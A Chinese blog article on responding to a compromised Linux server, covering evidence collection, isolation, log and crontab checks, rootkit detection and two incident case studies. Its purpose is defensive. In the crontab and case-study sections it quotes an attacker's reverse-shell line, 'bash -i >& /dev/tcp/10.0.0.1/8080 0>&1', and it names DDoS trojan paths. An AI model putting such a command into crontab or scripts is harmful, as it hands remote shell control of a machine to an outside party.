作者介绍：林伟壕 网络安全 DevOps 新司机，先后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工作。对 Linux 运维、虚拟化和网络安全防护等研究颇多，目前专注于网络安全自动化检测、防御系统构建。
遇到服务器被黑，很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急，但如果是线上服务器就不能立即采用任何影响业务的手段了，需要根据服务器业务情况分类处理。
下面我们看一个标准的服务器安全应急影响应该怎么做，也算是笔者从事安全事件应急近 6 年以来的一些经验之谈，借此抛砖引玉，希望大神们不吝赐教。
如上图，将服务器安全应急响应流程分为如下 8 个环节：
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发现安全事件（核实）
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现场保护
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服务器保护
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影响范围评估
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在线分析
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数据备份
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深入分析
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事件报告整理
接下来我们将每个环节分解，看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。
核实信息（运维 / 安全人员）
根据安全事件通知源的不同，分为两种：
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外界通知：和报告人核实信息，确认服务器 / 系统是否被入侵。现在很多企业有自己的 SRC（安全响应中心），在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。
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自行发现：根据服务器的异常或故障判断，比如对外发送大规模流量或者系统负载异常高等，这种情况一般是运维工程师发现并核实的。
现场保护（运维）
我们很多人看过大陆的电视剧《重案六组》，每次接到刑事案件，刑警们第一时间就是封锁现场、保存现场原状。
同样道理，安全事件发生现场，跟刑事案件发生现场一样，需要保存第一现场重要信息，方便后面入侵检测和取证。
保存现场环境 (截图)
相关信息采集命令如下：
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进程信息：ps axu
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网络信息：netstat –a
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网络 + 进程：lsof / netstat -p
攻击者登陆情况 (截图)
相关信息采集命令如下：
- 查看当前登录用户：w 或 who -a
服务器保护（运维 / 机房）
这里的现场保护和服务器保护是两个不同的环节，前者注重取证，后者注重环境隔离。
核实机器被入侵后，应当尽快将机器保护起来，避免被二次入侵或者当成跳板扩大攻击面。
此时，为保护服务器和业务，避免服务器被攻击者继续利用，应尽快迁移业务，立即下线机器。
如果不能立即处理，应当通过配置网络 ACL 等方式，封掉该服务器对网络的双向连接。
影响范围评估（运维 / 开发）
一般是运维或者程序确认影响范围，需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露，如果是代码或者数据库泄露了，则需要程序评估危害情况与处置方法。
影响访问评估一般从下面几点来入手：
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具体业务架构：Web(PHP/Java， WebServer)， Proxy， DB 等。
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IP 及所处区域拓扑等：VLAN 内服务器和应用情况。
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确定同一网络下面服务器之间的访问：可以互相登陆，是否需要 Key 或者是密码登录。
由此确定检查影响范围，确认所有受到影响的网段和机器。
在线分析（安全人员 / 运维）
这时需要根据个人经验快速在线分析，一般是安全人员和运维同时在线处理，不过会涉及多人协作的问题，需要避免多人操作机器时破坏服务器现场，造成分析困扰。
之前笔者遇到一个类似的问题，就是运维排查时敲错了 iptables 的命令，将 iptables -L 敲成 iptables -i 导致 iptables-save 时出现异常记录，结果安全人员上来检查时就被这条记录迷惑了，导致处理思路受到一定干扰。
所有用户 History 日志检测
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关键字：wget/curl， gcc， 或者隐藏文件， 敏感文件后缀（.c，.py，conf， .pl， .sh)。
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检查是否存在异常用户。
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检查最近添加的用户，是否有不知名用户或不规范提权。
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找出 root 权限的用户。
可以执行以下命令检查：
grep -v -E "^#" /etc/passwd | awk -F： '$3 == 0 {print $1}'
反连木马判断
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netstat –a
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注意非正常端口的外网 IP
可疑进程判断
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判断是否为木马 ps –aux
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重点关注文件（隐藏文件）， Python 脚本，Perl 脚本，Shell 脚本（bash/sh/zsh）。
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使用 which，whereis，find 定位。
Crontab 检测
不要用 crontab –l 查看 crontab（绕过检测），也有通过写 crontab 配置文件反弹 Shell 的，笔者接触过几次，一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。
系统日志检测
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检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message，判断是否为口令破解攻击。
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/etc/ssh/sshd_config 文件确认认证方式。
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确认日志是否被删除或者清理过的可能（大小判断）。
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last/lastb 可以作为辅助，不过可能不准确。
NHIDS 正常运行判断
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是否安装：ls /etc/ossec
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是否运行正常：ps axu |grep nhids，三个 nhids 进程则表示正常
其他攻击分析
抓取网络数据包并进行分析，判断是否为拒绝服务攻击，这里需要注意，一定要使用 -w 参数，这样才能保存成 pcap 格式导入到 wireshark，这样分析起来会事半功倍。
tcpdump -w tcpdump.log
安全相关的关键文件和数据备份（运维）
可以同步进行，使用 sftp/rsync 等将日志上传到安全的服务器：
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打包系统日志：参考：$ tar -jcvf syslog.tar.bz2 /var/log
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打包 Web 日志：access log
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打包 History 日志（所有用户），参考：$ cp /home/user/，history user_history
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打包 crontab 记录
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打包密码文件：/etc/passwd， /etc/shadow
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打包可疑文件、后门、Shell 信息
深入分析（安全人员）
初步锁定异常进程和恶意代码后，将受影响范围梳理清楚，封禁了入侵者对机器的控制后，接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。
Webshell 入侵
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使用 Webshell_check.py 脚本检测 Web 目录：
$ python webshell_check.py /var/www/ >result.txt
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查找 Web 目录下所有 nobody 的文件，人工分析：
$ find /var/www –user nobody >nobody.txt
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如果能确定入侵时间，可以使用 find 查找最近时间段内变化的文件：
$ find / -type f -name ".?*" |xargs ls -l |grep "Mar 22"
$ find / -ctime/-mtime 8
利用 Web 漏洞直接反连 Shell
分析 access.log：
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缩小日志范围：时间，异常 IP 提取。
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攻击行为提取：常见的攻击 exp 识别。
系统弱口令入侵
认证相关日志 auth/syslog/message 排查：
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爆破行为定位和 IP 提取。
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爆破是否成功确定：有爆破行为 IP 是否有 accept 记录。
如果日志已经被清理，使用工具（比如 John the Ripper）爆破 /etc/passwd，/etc/shadow。
其他入侵
其他服务器跳板到本机。
后续行为分析
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History 日志：提权、增加后门，以及是否被清理。
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Sniffer：网卡混杂模式检测 ifconfig |grep –i proc。
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内网扫描：网络 nmap/ 扫描器，socks5 代理。
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确定是否有 rootkit：rkhunter， chkrootkit， ps/netstat 替换确认。
后门清理排查
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根据时间点做关联分析：查找那个时间段的所有文件。
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一些小技巧：/tmp 目录， ls –la，查看所有文件，注意隐藏的文件。
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根据用户做时间关联：比如 nobody。
其他机器的关联操作
其他机器和这台机器的网络连接 （日志查看）、相同业务情况（同样业务，负载均衡）。
整理事件报告（安全人员）
事件报告应包含但不限于以下几个点：
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分析事件发生原因：事件为什么会发生的原因。
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分析整个攻击流程：时间点、操作。
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分析事件处理过程：整个事件处理过程总结是否有不足。
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分析事件预防：如何避免事情再次发生。
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总结：总结事件原因，改进处理过程，预防类似事件再次发生。
处理中遇到的比较棘手的事情
日志和操作记录全被删了，怎么办？
strace 查看 losf 进程，再尝试恢复一下日志记录，不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了，dd 硬盘数据再去还原出来。
系统账号密码都修改了，登不进去？
重启进单用户模式修改 root 密码，或者通过控制卡操作，或者直接还原系统，都搞不定就直接重装吧。
使用常见的入侵检测命令未发现异常进程，但是机器在对外发包，这是怎么回事？
这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换，可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。
如果发现不一致，肯定是被替换了，可以从其他机器上拷贝命令到本机替换，或者 alias 为其他名称，避免为恶意程序再次替换。
被 getshell 怎么办？
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漏洞修复前，系统立即下线，用内网环境访问。
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上传点放到内网访问，不允许外网有类似的上传点，有上传点，而且没有校验文件类型很容易上传 Webshell。
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被 getshell 的服务器中是否有敏感文件和数据库，如果有请检查是否有泄漏。
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hosts 文件中对应的 host 关系需要重新配置，攻击者可以配置 hosts 来访问测试环境。
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重装系统。
案例分析
上面讲了很多思路的东西，相信大家更想看看实际案例，下面介绍两个案例。
案例 1
一个别人处理的案例，基本处理过程如下：
通过外部端口扫描收集开放端口信息，然后获取到反弹 Shell 信息，登陆机器发现关键命令已经被替换，后面查看 History 记录，发现疑似木马文件，通过简单逆向和进程查看发现了异常进程，从而锁定了入侵原因。
具体内容可以查看：http://www.freebuf.com/articles/system/50728.html
案例 2
一个笔者实际处理过的案例，基本处理流程跟上面提到的思路大同小异。
整个事情处理经过大致如下：
1、运维发现一台私有云主机间歇性的对外发送高达 800Mbps 的流量，影响了同一个网段的其他机器。
2、安全人员接到通知后，先确认了机器属于备机，没有跑在线业务，于是通知运维封禁 iptables 限制外网访问。
3、运维为安全人员临时开通机器权限，安全人员通过 History 和 ps 找到的入侵记录和异常进程锁定了对外大量发包的应用程序，清理了恶意进程并删除恶意程序。
恶意进程如下，经过在网络搜索发现是一种 DDOS 木马，但没有明确的处理思路：
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673
处理过程中，安全人员怀疑系统文件被替换，通过对比该机器与正常机器上面的 ps、netstat 等程序的大小发现敏感程序已经被替换，而且 mtime 也被修改。
正常机器：
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du -sh /bin/ps
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92K /bin/ps
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du -sh /bin/netstat
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120K /bin/netstat
被入侵机器：
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du -sh /bin/netstat
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2.0M /bin/netstat
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du -sh /bin/ps
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2.0M /bin/ps
将部分常用二进制文件修复后，发现异常进程被 kill 掉后仍重启了，于是安装杀毒软件 clamav 和 rootkit hunter 进行全盘扫描。
从而确认了被感染的所有文件，将那些可以删除的文件删除后再次 kill 掉异常进程，则再没有重启的问题。
4、影响范围评估
由于该机器只是备机，上面没有敏感数据，于是信息泄露问题也就不存在了。
扫描同一网段机器端口开放情况、排查被入侵机器 History 是否有对外扫描或者入侵行为，为此还在该网段机器另外部署蜜罐进行监控。
5、深入分析入侵原因
通过被入侵机器所跑服务、iptables 状态，确认是所跑服务支持远程命令执行。
并且机器 iptables 为空导致黑客通过往 /etc/crontab 中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行 Shell 反弹，从而入侵了机器。
6、验证修复、机器下线重装
进行以上修复操作后，监控未发现再有异常，于是将机器下线重装。
7、完成安全事件处理报告
每次安全事件处理后，都应当整理成报告，不管是知识库的构建，还是统计分析安全态势，都是很有必要的。
这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上，安全防护跟运维思路一样，都是要防患于未然，这时候的审计或者响应很难避免危害的发生了。
我们更希望通过安全意识教育、安全制度的建设，在问题显露端倪时即可消弭于无形。
作者：林伟壕
链接：http://www.3xmq.com/article/1517231176077
来源：架构师小秘圈
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